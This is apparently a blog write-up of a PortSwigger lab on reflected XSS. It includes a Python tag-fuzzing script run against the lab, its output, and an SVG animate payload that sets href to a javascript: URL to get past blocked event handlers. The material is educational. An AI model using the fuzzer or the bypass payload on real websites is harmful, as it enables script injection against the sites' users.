Siunam's Website

My personal website

Home About Blog Writeups Projects E-Portfolio

Reflected XSS with event handlers and href attributes blocked | Jan 1, 2023

Introduction

Welcome to my another writeup! In this Portswigger Labs lab, you’ll learn: Reflected XSS with event handlers and href attributes blocked! Without further ado, let’s dive in.

Background

This lab contains a reflected XSS vulnerability with some whitelisted tags, but all events and anchor href attributes are blocked.

To solve the lab, perform a cross-site scripting attack that injects a vector that, when clicked, calls the alert function.

Note that you need to label your vector with the word “Click” in order to induce the simulated lab user to click your vector. For example:

<a href="">Click me</a>

Exploitation

Home page:

In here, we can see there is a search box.

Let’s search something:

As you can see, our input is reflected to the web page.

Let’s try to inject a JavaScript code:

However, the application blocks us.

Let’s fuzz usable tags via a python script:

#!/usr/bin/env python3

import requests
from threading import Thread
from time import sleep

def sendRequest(tag):
    payload = f'<{tag}>'
    url = f'https://0af200f90416972dc03527bf001500b1.web-security-academy.net/?search={payload}'

    requestResult = requests.get(url)

    if 'Tag is not allowed' not in requestResult.text:
        print(f'[+] Found valid tag: {payload}')

def main():
    # From PortSwigger's Cross-site scripting (XSS) cheat sheet:
    # https://portswigger.net/web-security/cross-site-scripting/cheat-sheet
    listTags = ['a', 'a2', 'abbr', 'acronym', 'address', 'animate', 'animatemotion', 'animatetransform', 'applet', 'area', 'article', 'aside', 'audio', 'audio2', 'b', 'bdi', 'bdo', 'big', 'blink', 'blockquote', 'body', 'br', 'button', 'canvas', 'caption', 'center', 'cite', 'code', 'col', 'colgroup', 'command', 'content', 'custom tags', 'data', 'datalist', 'dd', 'del', 'details', 'dfn', 'dialog', 'dir', 'div', 'dl', 'dt', 'element', 'em', 'embed', 'fieldset', 'figcaption', 'figure', 'font', 'footer', 'form', 'frame', 'frameset', 'h1', 'head', 'header', 'hgroup', 'hr', 'html', 'i', 'iframe', 'iframe2', 'image', 'image2', 'image3', 'img', 'img2', 'input', 'input2', 'input3', 'input4', 'ins', 'kbd', 'keygen', 'label', 'legend', 'li', 'link', 'listing', 'main', 'map', 'mark', 'marquee', 'menu', 'menuitem', 'meta', 'meter', 'multicol', 'nav', 'nextid', 'nobr', 'noembed', 'noframes', 'noscript', 'object', 'ol', 'optgroup', 'option', 'output', 'p', 'param', 'picture', 'plaintext', 'pre', 'progress', 'q', 'rb', 'rp', 'rt', 'rtc', 'ruby', 's', 'samp', 'script', 'section', 'select', 'set', 'shadow', 'slot', 'small', 'source', 'spacer', 'span', 'strike', 'strong', 'style', 'sub', 'summary', 'sup', 'svg', 'table', 'tbody', 'td', 'template', 'textarea', 'tfoot', 'th', 'thead', 'time', 'title', 'tr', 'track', 'tt', 'u', 'ul', 'var', 'video', 'video2', 'wbr', 'xmp']

    for tag in listTags:
        thread = Thread(target=sendRequest, args=(tag,))
        thread.start()
        sleep(0.2)

if __name__ == '__main__':
    main()
┌──(root🌸siunam)-[~/ctf/Portswigger-Labs/Cross-Site-Scripting]
└─# python3 tag_fuzzing.py
[+] Found valid tag: <a>
[+] Found valid tag: <animate>
[+] Found valid tag: <image>
[+] Found valid tag: <svg>
[+] Found valid tag: <title>

Let’s go to PortSwigger’s Cross-site scripting (XSS) cheat sheet to choose a payload:

svg -> animate looks good.

<svg><animate onbegin=alert(1) attributeName=x dur=1s>

Hmm… Event is not allowed.

Now, we can use the attributeName attribute, and <a> tag to create a link:

<svg><a><animate attributeName=href values=javascript:alert(document.domain)></animate><text x=100 y=100>Click me</text></a>

Beautified:

<svg>
<a>
    <animate attributeName=href values=javascript:alert(document.domain)></animate>
    <text x=100 y=100>Click me</text>
</a>

Nice!

What we’ve learned:

  1. Reflected XSS with event handlers and href attributes blocked